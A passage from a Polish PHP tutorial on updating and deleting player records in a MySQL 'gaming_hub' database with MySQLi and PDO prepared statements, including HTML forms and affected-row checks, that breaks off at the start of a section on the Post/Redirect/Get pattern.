        $level = (int)($_POST&#91;'level'] ?? 1);
        $coins = (int)($_POST&#91;'coins'] ?? 0);
        $rank_name = $_POST&#91;'rank_name'] ?? 'Bronze';
        
        // Walidacja danych
        if (empty($email)) {
            $errors&#91;] = "Email jest wymagany";
        } elseif (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
            $errors&#91;] = "Nieprawidłowy format email";
        }
        
        if ($level &lt; 1 || $level &gt; 100) {
            $errors&#91;] = "Poziom musi być między 1 a 100";
        }
        
        if ($coins &lt; 0) {
            $errors&#91;] = "Coins nie może być ujemny";
        }
        
        $allowed_ranks = &#91;'Bronze', 'Silver', 'Gold', 'Platinum', 'Diamond', 'Master', 'Grandmaster'];
        if (!in_array($rank_name, $allowed_ranks)) {
            $errors&#91;] = "Nieprawidłowa ranga";
        }
        
        // Sprawdzamy czy email nie jest już używany przez innego gracza
        if (empty($errors)) {
            $stmt = $pdo-&gt;prepare("SELECT id FROM players WHERE email = :email AND id != :id");
            $stmt-&gt;execute(&#91;'email' =&gt; $email, 'id' =&gt; $player_id]);
            
            if ($stmt-&gt;fetch()) {
                $errors&#91;] = "Email '{$email}' jest już używany przez innego gracza";
            }
        }
        
        // Jeśli brak błędów - aktualizujemy dane
        if (empty($errors)) {
            // BEZPIECZNE - UPDATE z prepared statement
            $stmt = $pdo-&gt;prepare("UPDATE players SET email = :email, level = :level, coins = :coins, rank_name = :rank_name, updated_at = NOW() WHERE id = :id");
            
            if ($stmt-&gt;execute(&#91;
                'email' =&gt; $email,
                'level' =&gt; $level,
                'coins' =&gt; $coins,
                'rank_name' =&gt; $rank_name,
                'id' =&gt; $player_id
            ])) {
                // Sprawdzamy ile wierszy zostało zaktualizowanych
                $affected_rows = $stmt-&gt;rowCount();
                
                if ($affected_rows &gt; 0) {
                    $success = true;
                    $success_message = "Profil gracza '{$gracz&#91;'username']}' został zaktualizowany! (Zmieniono {$affected_rows} rekord)";
                    
                    // Odświeżamy dane gracza
                    $stmt_refresh = $pdo-&gt;prepare("SELECT * FROM players WHERE id = :id");
                    $stmt_refresh-&gt;execute(&#91;'id' =&gt; $player_id]);
                    $gracz = $stmt_refresh-&gt;fetch();
                } else {
                    $success_message = "Nie wprowadzono żadnych zmian (dane są identyczne)";
                }
            }
        }
    }
    
} catch (PDOException $e) {
    error_log("DB Error: {$e-&gt;getMessage()}");
    die('Błąd bazy danych');
}

$pdo = null;
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html lang="pl"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;title&gt;Edycja profilu - &lt;?= htmlspecialchars($gracz&#91;'username']) ?&gt;&lt;/title&gt;
    &lt;style&gt;
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            min-height: 100vh;
            padding: 20px;
        }
        .container {
            max-width: 800px;
            margin: 0 auto;
            background: white;
            padding: 40px;
            border-radius: 10px;
            box-shadow: 0 10px 25px rgba(0,0,0,0.2);
        }
        h1 {
            margin-bottom: 10px;
            color: #333;
        }
        .subtitle {
            color: #666;
            margin-bottom: 30px;
        }
        .form-group {
            margin-bottom: 20px;
        }
        label {
            display: block;
            margin-bottom: 5px;
            color: #555;
            font-weight: 500;
        }
        input, select {
            width: 100%;
            padding: 12px;
            border: 1px solid #ddd;
            border-radius: 5px;
            font-size: 14px;
        }
        input:focus, select:focus {
            outline: none;
            border-color: #667eea;
        }
        .form-row {
            display: grid;
            grid-template-columns: 1fr 1fr;
            gap: 20px;
        }
        button {
            width: 100%;
            padding: 12px;
            background: #667eea;
            color: white;
            border: none;
            border-radius: 5px;
            font-size: 16px;
            font-weight: bold;
            cursor: pointer;
            transition: background 0.3s;
        }
        button:hover {
            background: #764ba2;
        }
        .error {
            background: #f8d7da;
            color: #721c24;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #f5c6cb;
        }
        .error ul {
            margin-left: 20px;
        }
        .success {
            background: #d4edda;
            color: #155724;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #c3e6cb;
        }
        .info-box {
            background: #e7f3ff;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #2196F3;
        }
        .back-link {
            display: inline-block;
            margin-top: 20px;
            color: #667eea;
            text-decoration: none;
        }
        .back-link:hover {
            text-decoration: underline;
        }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;

&lt;div class="container"&gt;
    &lt;h1&gt;Edycja profilu gracza&lt;/h1&gt;
    &lt;div class="subtitle"&gt;ID: &lt;?= $gracz&#91;'id'] ?&gt; | Nick: &lt;strong&gt;&lt;?= htmlspecialchars($gracz&#91;'username']) ?&gt;&lt;/strong&gt;&lt;/div&gt;
    
    &lt;?php if ($success): ?&gt;
        &lt;div class="success"&gt;
            &lt;?= htmlspecialchars($success_message) ?&gt;
        &lt;/div&gt;
    &lt;?php endif; ?&gt;
    
    &lt;?php if (!empty($errors)): ?&gt;
        &lt;div class="error"&gt;
            &lt;strong&gt;Błędy walidacji:&lt;/strong&gt;
            &lt;ul&gt;
                &lt;?php foreach ($errors as $error): ?&gt;
                    &lt;li&gt;&lt;?= htmlspecialchars($error) ?&gt;&lt;/li&gt;
                &lt;?php endforeach; ?&gt;
            &lt;/ul&gt;
        &lt;/div&gt;
    &lt;?php endif; ?&gt;
    
    &lt;div class="info-box"&gt;
        &lt;strong&gt;Informacje:&lt;/strong&gt;&lt;br&gt;
        • Nick gracza nie może być edytowany (to unikalna nazwa)&lt;br&gt;
        • Hasło można zmienić w osobnej sekcji zabezpieczeń&lt;br&gt;
        • Data rejestracji: &lt;?= date('d.m.Y H:i', strtotime($gracz&#91;'created_at'])) ?&gt;
    &lt;/div&gt;
    
    &lt;form method="POST"&gt;
        &lt;div class="form-group"&gt;
            &lt;label&gt;Email:&lt;/label&gt;
            &lt;input type="email" name="email" 
                   value="&lt;?= htmlspecialchars($gracz&#91;'email']) ?&gt;" 
                   required&gt;
        &lt;/div&gt;
        
        &lt;div class="form-row"&gt;
            &lt;div class="form-group"&gt;
                &lt;label&gt;Poziom (1-100):&lt;/label&gt;
                &lt;input type="number" name="level" 
                       min="1" max="100"
                       value="&lt;?= $gracz&#91;'level'] ?&gt;" 
                       required&gt;
            &lt;/div&gt;
            
            &lt;div class="form-group"&gt;
                &lt;label&gt;Coins:&lt;/label&gt;
                &lt;input type="number" name="coins" 
                       min="0"
                       value="&lt;?= $gracz&#91;'coins'] ?&gt;" 
                       required&gt;
            &lt;/div&gt;
        &lt;/div&gt;
        
        &lt;div class="form-group"&gt;
            &lt;label&gt;Ranga:&lt;/label&gt;
            &lt;select name="rank_name" required&gt;
                &lt;option value="Bronze" &lt;?= $gracz&#91;'rank_name'] == 'Bronze' ? 'selected' : '' ?&gt;&gt;Bronze&lt;/option&gt;
                &lt;option value="Silver" &lt;?= $gracz&#91;'rank_name'] == 'Silver' ? 'selected' : '' ?&gt;&gt;Silver&lt;/option&gt;
                &lt;option value="Gold" &lt;?= $gracz&#91;'rank_name'] == 'Gold' ? 'selected' : '' ?&gt;&gt;Gold&lt;/option&gt;
                &lt;option value="Platinum" &lt;?= $gracz&#91;'rank_name'] == 'Platinum' ? 'selected' : '' ?&gt;&gt;Platinum&lt;/option&gt;
                &lt;option value="Diamond" &lt;?= $gracz&#91;'rank_name'] == 'Diamond' ? 'selected' : '' ?&gt;&gt;Diamond&lt;/option&gt;
                &lt;option value="Master" &lt;?= $gracz&#91;'rank_name'] == 'Master' ? 'selected' : '' ?&gt;&gt;Master&lt;/option&gt;
                &lt;option value="Grandmaster" &lt;?= $gracz&#91;'rank_name'] == 'Grandmaster' ? 'selected' : '' ?&gt;&gt;Grandmaster&lt;/option&gt;
            &lt;/select&gt;
        &lt;/div&gt;
        
        &lt;button type="submit"&gt;Zapisz zmiany&lt;/button&gt;
    &lt;/form&gt;
    
    &lt;a href="profil.php?id=&lt;?= $player_id ?&gt;" class="back-link"&gt;← Powrót do profilu&lt;/a&gt;
&lt;/div&gt;

&lt;/body&gt;
&lt;/html&gt;</code></pre>



<h4 class="wp-block-heading">Sprawdzanie wyniku operacji UPDATE</h4>



<h5 class="wp-block-heading">Metody sprawdzania dla MySQLi:</h5>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// 1. Sprawdź ile wierszy zostało zaktualizowanych
$affected_rows = $stmt-&gt;affected_rows;  // Obiektowo

// 2. Sprawdź czy zapytanie się wykonało
if ($stmt-&gt;execute()) {
    if ($affected_rows &gt; 0) {
        echo "Zaktualizowano {$affected_rows} rekord(ów)";
    } else {
        echo "Nie wprowadzono zmian (dane są identyczne)";
    }
} else {
    echo "Błąd: {$stmt-&gt;error}";
}

// 3. Sprawdź czy rekord istnieje przed UPDATE
$stmt_check = $db-&gt;prepare("SELECT id FROM players WHERE id = ?");
$stmt_check-&gt;bind_param("i", $player_id);
$stmt_check-&gt;execute();
$stmt_check-&gt;store_result();

if ($stmt_check-&gt;num_rows == 0) {
    echo "Rekord o tym ID nie istnieje";
}</code></pre>



<h5 class="wp-block-heading">Metody sprawdzania dla PDO:</h5>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// 1. Sprawdź ile wierszy zostało zaktualizowanych
$affected_rows = $stmt-&gt;rowCount();

// 2. Sprawdź czy zapytanie się wykonało
if ($stmt-&gt;execute()) {
    if ($affected_rows &gt; 0) {
        echo "Zaktualizowano {$affected_rows} rekord(ów)";
    } else {
        echo "Nie wprowadzono zmian (dane są identyczne)";
    }
}

// 3. Sprawdź czy rekord istnieje przed UPDATE
$stmt_check = $pdo-&gt;prepare("SELECT id FROM players WHERE id = :id");
$stmt_check-&gt;execute(&#91;'id' =&gt; $player_id]);

if (!$stmt_check-&gt;fetch()) {
    echo "Rekord o tym ID nie istnieje";
}</code></pre>



<h3 class="wp-block-heading">Przykład 4: Aktualizacja wielu graczy naraz (batch UPDATE)</h3>



<h4 class="wp-block-heading"><strong>MySQLi obiektowo:</strong></h4>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');

if ($db-&gt;connect_error) {
    die('Błąd połączenia');
}

$db-&gt;set_charset('utf8mb4');

// Przykład: Dodaj 100 coins wszystkim graczom Bronze
$rank = 'Bronze';
$bonus_coins = 100;

$stmt = $db-&gt;prepare("UPDATE players SET coins = coins + ? WHERE rank_name = ?");
$stmt-&gt;bind_param("is", $bonus_coins, $rank);

if ($stmt-&gt;execute()) {
    $affected_rows = $stmt-&gt;affected_rows;
    
    if ($affected_rows &gt; 0) {
        echo "Sukces! Dodano {$bonus_coins} coins dla {$affected_rows} graczy rangi {$rank}";
    } else {
        echo "Nie znaleziono graczy rangi {$rank} lub już mieli te coins";
    }
} else {
    echo "Błąd: {$stmt-&gt;error}";
}

$stmt-&gt;close();
$db-&gt;close();
?&gt;</code></pre>



<h4 class="wp-block-heading"><strong>PDO:</strong></h4>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
try {
    $pdo = new PDO(
        'mysql:host=localhost;dbname=gaming_hub;charset=utf8mb4',
        'root',
        '',
        &#91;
            PDO::ATTR_ERRMODE =&gt; PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE =&gt; PDO::FETCH_ASSOC,
            PDO::ATTR_EMULATE_PREPARES =&gt; false
        ]
    );
    
    // Przykład: Dodaj 100 coins wszystkim graczom Bronze
    $rank = 'Bronze';
    $bonus_coins = 100;
    
    $stmt = $pdo-&gt;prepare("UPDATE players SET coins = coins + :bonus WHERE rank_name = :rank");
    
    if ($stmt-&gt;execute(&#91;'bonus' =&gt; $bonus_coins, 'rank' =&gt; $rank])) {
        $affected_rows = $stmt-&gt;rowCount();
        
        if ($affected_rows &gt; 0) {
            echo "Sukces! Dodano {$bonus_coins} coins dla {$affected_rows} graczy rangi {$rank}";
        } else {
            echo "Nie znaleziono graczy rangi {$rank} lub już mieli te coins";
        }
    }
    
} catch (PDOException $e) {
    error_log("DB Error: {$e-&gt;getMessage()}");
    die('Błąd bazy danych');
}

$pdo = null;
?&gt;</code></pre>



<h2 class="wp-block-heading">DELETE &#8211; Usuwanie rekordów</h2>



<h3 class="wp-block-heading">Przykład 5: Usuwanie gracza z potwierdzeniem (GET + POST)</h3>



<h4 class="wp-block-heading"><strong>MySQLi obiektowo:</strong></h4>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');

if ($db->connect_error) {
    die('Błąd połączenia');
}

$db->set_charset('utf8mb4');

$gracz = null;
$deleted = false;

// Pobieramy ID gracza z URL
$player_id = (int)($_GET&#91;'id'] ?? 0);

if ($player_id &lt;= 0) {
    die('Nieprawidłowe ID gracza');
}

// Pobieramy dane gracza do wyświetlenia
$stmt = $db->prepare("SELECT * FROM players WHERE id = ?");
$stmt->bind_param("i", $player_id);
$stmt->execute();
$wynik = $stmt->get_result();
$gracz = $wynik->fetch_assoc();
$stmt->close();

if (!$gracz) {
    die('Nie znaleziono gracza o ID: ' . $player_id);
}

if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST' &amp;&amp; isset($_POST&#91;'confirm_delete'])) {
    
    // Dodatkowe zabezpieczenie - sprawdzamy token CSRF (opcjonalnie)
    // if ($_POST&#91;'token'] !== $_SESSION&#91;'token']) die('Invalid token');

    $stmt = $db->prepare("DELETE FROM players WHERE id = ?");
    $stmt->bind_param("i", $player_id);
    
    if ($stmt->execute()) {
        // Sprawdzamy ile wierszy zostało usuniętych
        $affected_rows = $stmt->affected_rows;
        
        if ($affected_rows > 0) {
            $deleted = true;
            $username = $gracz&#91;'username'];
            $success_message = "Gracz '{$username}' (ID: {$player_id}) został permanentnie usunięty z bazy danych.";
        } else {
            $error_message = "Rekord nie został usunięty (możliwe że już nie istnieje)";
        }
    } else {
        $error_message = "Błąd podczas usuwania: {$stmt->error}";
    }
    
    $stmt->close();
}

$db->close();
?>

&lt;!DOCTYPE html>
&lt;html lang="pl">
&lt;head>
    &lt;meta charset="UTF-8">
    &lt;title>Usuń gracza - &lt;?= htmlspecialchars($gracz&#91;'username'] ?? 'Usunięty') ?>&lt;/title>
    &lt;style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            background: linear-gradient(135deg, #ff6b6b 0%, #ee5a6f 100%);
            min-height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
            padding: 20px;
        }
        .container {
            background: white;
            padding: 40px;
            border-radius: 10px;
            box-shadow: 0 10px 25px rgba(0,0,0,0.3);
            max-width: 600px;
            width: 100%;
        }
        h1 {
            color: #d32f2f;
            margin-bottom: 20px;
            text-align: center;
        }
        .warning {
            background: #fff3cd;
            border-left: 4px solid #ffc107;
            padding: 20px;
            margin-bottom: 20px;
            border-radius: 5px;
        }
        .player-info {
            background: #f8f9fa;
            padding: 20px;
            border-radius: 5px;
            margin-bottom: 20px;
        }
        .player-info h3 {
            margin-bottom: 15px;
            color: #333;
        }
        .player-info p {
            margin: 8px 0;
            color: #666;
        }
        .buttons {
            display: flex;
            gap: 10px;
            margin-top: 30px;
        }
        button, .button {
            flex: 1;
            padding: 15px;
            border: none;
            border-radius: 5px;
            font-size: 16px;
            font-weight: bold;
            cursor: pointer;
            text-align: center;
            text-decoration: none;
            display: inline-block;
        }
        .btn-delete {
            background: #d32f2f;
            color: white;
        }
        .btn-delete:hover {
            background: #b71c1c;
        }
        .btn-cancel {
            background: #6c757d;
            color: white;
        }
        .btn-cancel:hover {
            background: #5a6268;
        }
        .success {
            background: #d4edda;
            color: #155724;
            padding: 20px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #c3e6cb;
            text-align: center;
        }
        .error {
            background: #f8d7da;
            color: #721c24;
            padding: 20px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #f5c6cb;
        }
        .checkbox-confirm {
            margin: 20px 0;
            display: flex;
            align-items: center;
            gap: 10px;
        }
        .checkbox-confirm input {
            width: 20px;
            height: 20px;
            cursor: pointer;
        }
        .checkbox-confirm label {
            cursor: pointer;
            user-select: none;
        }
    &lt;/style>
&lt;/head>
&lt;body>

&lt;div class="container">
    &lt;?php if ($deleted): ?>
        &lt;div class="success">
            &lt;h2>Gracz został usunięty&lt;/h2>
            &lt;p>&lt;?= htmlspecialchars($success_message) ?>&lt;/p>
            &lt;br>
            &lt;a href="lista_graczy.php" class="button btn-cancel">← Powrót do listy graczy&lt;/a>
        &lt;/div>
    &lt;?php else: ?>
        &lt;h1>Usuń gracza&lt;/h1>
        
        &lt;?php if (isset($error_message)): ?>
            &lt;div class="error">
                &lt;?= htmlspecialchars($error_message) ?>
            &lt;/div>
        &lt;?php endif; ?>
        
        &lt;div class="warning">
            &lt;strong>OSTRZEŻENIE:&lt;/strong>&lt;br>
            Ta operacja jest &lt;strong>nieodwracalna&lt;/strong>! Gracz i wszystkie jego dane zostaną &lt;strong>permanentnie usunięte&lt;/strong> z bazy danych.
        &lt;/div>
        
        &lt;div class="player-info">
            &lt;h3>Dane gracza do usunięcia:&lt;/h3>
            &lt;p>&lt;strong>ID:&lt;/strong> &lt;?= $gracz&#91;'id'] ?>&lt;/p>
            &lt;p>&lt;strong>Username:&lt;/strong> &lt;?= htmlspecialchars($gracz&#91;'username']) ?>&lt;/p>
            &lt;p>&lt;strong>Email:&lt;/strong> &lt;?= htmlspecialchars($gracz&#91;'email']) ?>&lt;/p>
            &lt;p>&lt;strong>Level:&lt;/strong> &lt;?= $gracz&#91;'level'] ?>&lt;/p>
            &lt;p>&lt;strong>Rank:&lt;/strong> &lt;?= $gracz&#91;'rank_name'] ?>&lt;/p>
            &lt;p>&lt;strong>Coins:&lt;/strong> &lt;?= number_format($gracz&#91;'coins']) ?>&lt;/p>
            &lt;p>&lt;strong>Rozegrane gry:&lt;/strong> &lt;?= $gracz&#91;'games_played'] ?>&lt;/p>
            &lt;p>&lt;strong>Data rejestracji:&lt;/strong> &lt;?= date('d.m.Y H:i', strtotime($gracz&#91;'created_at'])) ?>&lt;/p>
        &lt;/div>
        
        &lt;form method="POST">
            &lt;div class="checkbox-confirm">
                &lt;input type="checkbox" id="confirm" name="confirm_check" required>
                &lt;label for="confirm">Potwierdzam, że chcę &lt;strong>permanentnie usunąć&lt;/strong> tego gracza&lt;/label>
            &lt;/div>
            
            &lt;div class="buttons">
                &lt;a href="profil.php?id=&lt;?= $player_id ?>" class="button btn-cancel">Anuluj&lt;/a>
                &lt;button type="submit" name="confirm_delete" class="btn-delete" onclick="return confirm('Czy NA PEWNO chcesz usunąć tego gracza? Ta operacja jest NIEODWRACALNA!')">
                    Usuń gracza
                &lt;/button>
            &lt;/div>
        &lt;/form>
    &lt;?php endif; ?>
&lt;/div>

&lt;/body>
&lt;/html></code></pre>



<h4 class="wp-block-heading"><strong>PDO:</strong></h4>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
try {
    $pdo = new PDO(
        'mysql:host=localhost;dbname=gaming_hub;charset=utf8mb4',
        'root',
        '',
        &#91;
            PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
            PDO::ATTR_EMULATE_PREPARES => false
        ]
    );
    
    $gracz = null;
    $deleted = false;
    
    // Pobieramy ID gracza z URL
    $player_id = (int)($_GET&#91;'id'] ?? 0);
    
    if ($player_id &lt;= 0) {
        die('Nieprawidłowe ID gracza');
    }
    
    // Pobieramy dane gracza do wyświetlenia
    $stmt = $pdo->prepare("SELECT * FROM players WHERE id = :id");
    $stmt->execute(&#91;'id' => $player_id]);
    $gracz = $stmt->fetch();
    
    if (!$gracz) {
        die('Nie znaleziono gracza o ID: ' . $player_id);
    }
    
    if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST' &amp;&amp; isset($_POST&#91;'confirm_delete'])) {
        
        // Dodatkowe zabezpieczenie - sprawdzamy token CSRF (opcjonalnie)
        // if ($_POST&#91;'token'] !== $_SESSION&#91;'token']) die('Invalid token');
        
        // BEZPIECZNE - DELETE z prepared statement
        $stmt = $pdo->prepare("DELETE FROM players WHERE id = :id");
        
        if ($stmt->execute(&#91;'id' => $player_id])) {
            // Sprawdzamy ile wierszy zostało usuniętych
            $affected_rows = $stmt->rowCount();
            
            if ($affected_rows > 0) {
                $deleted = true;
                $username = $gracz&#91;'username'];
                $success_message = "Gracz '{$username}' (ID: {$player_id}) został permanentnie usunięty z bazy danych.";
            } else {
                $error_message = "Rekord nie został usunięty (możliwe że już nie istnieje)";
            }
        }
    }
    
} catch (PDOException $e) {
    error_log("DB Error: {$e->getMessage()}");
    $error_message = "Wystąpił błąd podczas usuwania gracza";
}

$pdo = null;
?>

&lt;!DOCTYPE html>
&lt;html lang="pl">
&lt;head>
    &lt;meta charset="UTF-8">
    &lt;title>Usuń gracza - &lt;?= htmlspecialchars($gracz&#91;'username'] ?? 'Usunięty') ?>&lt;/title>
    &lt;style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            background: linear-gradient(135deg, #ff6b6b 0%, #ee5a6f 100%);
            min-height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
            padding: 20px;
        }
        .container {
            background: white;
            padding: 40px;
            border-radius: 10px;
            box-shadow: 0 10px 25px rgba(0,0,0,0.3);
            max-width: 600px;
            width: 100%;
        }
        h1 {
            color: #d32f2f;
            margin-bottom: 20px;
            text-align: center;
        }
        .warning {
            background: #fff3cd;
            border-left: 4px solid #ffc107;
            padding: 20px;
            margin-bottom: 20px;
            border-radius: 5px;
        }
        .player-info {
            background: #f8f9fa;
            padding: 20px;
            border-radius: 5px;
            margin-bottom: 20px;
        }
        .player-info h3 {
            margin-bottom: 15px;
            color: #333;
        }
        .player-info p {
            margin: 8px 0;
            color: #666;
        }
        .buttons {
            display: flex;
            gap: 10px;
            margin-top: 30px;
        }
        button, .button {
            flex: 1;
            padding: 15px;
            border: none;
            border-radius: 5px;
            font-size: 16px;
            font-weight: bold;
            cursor: pointer;
            text-align: center;
            text-decoration: none;
            display: inline-block;
        }
        .btn-delete {
            background: #d32f2f;
            color: white;
        }
        .btn-delete:hover {
            background: #b71c1c;
        }
        .btn-cancel {
            background: #6c757d;
            color: white;
        }
        .btn-cancel:hover {
            background: #5a6268;
        }
        .success {
            background: #d4edda;
            color: #155724;
            padding: 20px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #c3e6cb;
            text-align: center;
        }
        .error {
            background: #f8d7da;
            color: #721c24;
            padding: 20px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #f5c6cb;
        }
        .checkbox-confirm {
            margin: 20px 0;
            display: flex;
            align-items: center;
            gap: 10px;
        }
        .checkbox-confirm input {
            width: 20px;
            height: 20px;
            cursor: pointer;
        }
        .checkbox-confirm label {
            cursor: pointer;
            user-select: none;
        }
    &lt;/style>
&lt;/head>
&lt;body>

&lt;div class="container">
    &lt;?php if ($deleted): ?>
        &lt;div class="success">
            &lt;h2>Gracz został usunięty&lt;/h2>
            &lt;p>&lt;?= htmlspecialchars($success_message) ?>&lt;/p>
            &lt;br>
            &lt;a href="lista_graczy.php" class="button btn-cancel">← Powrót do listy graczy&lt;/a>
        &lt;/div>
    &lt;?php else: ?>
        &lt;h1>Usuń gracza&lt;/h1>
        
        &lt;?php if (isset($error_message)): ?>
            &lt;div class="error">
                &lt;?= htmlspecialchars($error_message) ?>
            &lt;/div>
        &lt;?php endif; ?>
        
        &lt;div class="warning">
            &lt;strong>OSTRZEŻENIE:&lt;/strong>&lt;br>
            Ta operacja jest &lt;strong>nieodwracalna&lt;/strong>! Gracz i wszystkie jego dane zostaną &lt;strong>permanentnie usunięte&lt;/strong> z bazy danych.
        &lt;/div>
        
        &lt;div class="player-info">
            &lt;h3>Dane gracza do usunięcia:&lt;/h3>
            &lt;p>&lt;strong>ID:&lt;/strong> &lt;?= $gracz&#91;'id'] ?>&lt;/p>
            &lt;p>&lt;strong>Username:&lt;/strong> &lt;?= htmlspecialchars($gracz&#91;'username']) ?>&lt;/p>
            &lt;p>&lt;strong>Email:&lt;/strong> &lt;?= htmlspecialchars($gracz&#91;'email']) ?>&lt;/p>
            &lt;p>&lt;strong>Level:&lt;/strong> &lt;?= $gracz&#91;'level'] ?>&lt;/p>
            &lt;p>&lt;strong>Rank:&lt;/strong> &lt;?= $gracz&#91;'rank_name'] ?>&lt;/p>
            &lt;p>&lt;strong>Coins:&lt;/strong> &lt;?= number_format($gracz&#91;'coins']) ?>&lt;/p>
            &lt;p>&lt;strong>Rozegrane gry:&lt;/strong> &lt;?= $gracz&#91;'games_played'] ?>&lt;/p>
            &lt;p>&lt;strong>Data rejestracji:&lt;/strong> &lt;?= date('d.m.Y H:i', strtotime($gracz&#91;'created_at'])) ?>&lt;/p>
        &lt;/div>
        
        &lt;form method="POST">
            &lt;div class="checkbox-confirm">
                &lt;input type="checkbox" id="confirm" name="confirm_check" required>
                &lt;label for="confirm">Potwierdzam, że chcę &lt;strong>permanentnie usunąć&lt;/strong> tego gracza&lt;/label>
            &lt;/div>
            
            &lt;div class="buttons">
                &lt;a href="profil.php?id=&lt;?= $player_id ?>" class="button btn-cancel">Anuluj&lt;/a>
                &lt;button type="submit" name="confirm_delete" class="btn-delete" onclick="return confirm('Czy NA PEWNO chcesz usunąć tego gracza? Ta operacja jest NIEODWRACALNA!')">
                    Usuń gracza
                &lt;/button>
            &lt;/div>
        &lt;/form>
    &lt;?php endif; ?>
&lt;/div>

&lt;/body>
&lt;/html></code></pre>



<h4 class="wp-block-heading">Sprawdzanie wyniku operacji DELETE</h4>



<h5 class="wp-block-heading">Metody sprawdzania dla MySQLi:</h5>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// 1. Sprawdź ile wierszy zostało usuniętych
$affected_rows = $stmt-&gt;affected_rows;

// 2. Sprawdź czy zapytanie się wykonało
if ($stmt-&gt;execute()) {
    if ($affected_rows &gt; 0) {
        echo "Usunięto {$affected_rows} rekord(ów)";
    } else {
        echo "Nie usunięto żadnego rekordu (możliwe że nie istniał)";
    }
} else {
    echo "Błąd: {$stmt-&gt;error}";
}</code></pre>



<h5 class="wp-block-heading">Metody sprawdzania dla PDO:</h5>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// 1. Sprawdź ile wierszy zostało usuniętych
$affected_rows = $stmt-&gt;rowCount();

// 2. Sprawdź czy zapytanie się wykonało
if ($stmt-&gt;execute()) {
    if ($affected_rows &gt; 0) {
        echo "Usunięto {$affected_rows} rekord(ów)";
    } else {
        echo "Nie usunięto żadnego rekordu (możliwe że nie istniał)";
    }
}</code></pre>



<h2 class="wp-block-heading">PHP&nbsp;–&nbsp;Zabezpieczenie&nbsp;przed&nbsp;duplikatami&nbsp;po&nbsp;odświeżeniu&nbsp;strony&nbsp;(F5)</h2>



<h3 class="wp-block-heading">Problem:&nbsp;Ponowne&nbsp;wysłanie&nbsp;formularza</h3>



<p class="wp-block-paragraph">Co się dzieje gdy użytkownik naciśnie F5?</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">1. Użytkownik wypełnia formularz rejestracji
2. Klika "Wyślij" (POST)
3. Dane zostają zapisane w bazie
4. Strona wyświetla "Sukces!"
5. Użytkownik naciska F5 (odświeżenie)
6. Przeglądarka pyta: "Czy ponownie wysłać formularz?"
7. Jeśli użytkownik kliknie "Tak" → próba dodania tego samego gracza ponownie!</code></pre>



<p class="wp-block-paragraph">Konsekwencje:</p>



<ul class="wp-block-list">
<li>Duplikaty w bazie danych</li>



<li>Błędy (jeśli są ograniczenia UNIQUE)</li>



<li>Złe doświadczenie użytkownika</li>



<li>Problemy z logowaniem transakcji</li>
</ul>



<h3 class="wp-block-heading">Rozwiązanie: Post/Redirect/Get (PRG Pattern)</h3>



<p class="wp-block-paragraph">Po wykonaniu operacji należy dodać kod</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// PRZEKIEROWANIE - zapobiega duplikatom
        header("Location: nazwa_strony.php?&lt;dalej możemy przekazać dane w GET&gt;;
        exit; // ZAWSZE exit po header!</code></pre>



<h3 class="wp-block-heading">Przykład 1: Podstawowe przekierowanie</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
mysqli_report(MYSQLI_REPORT_OFF);
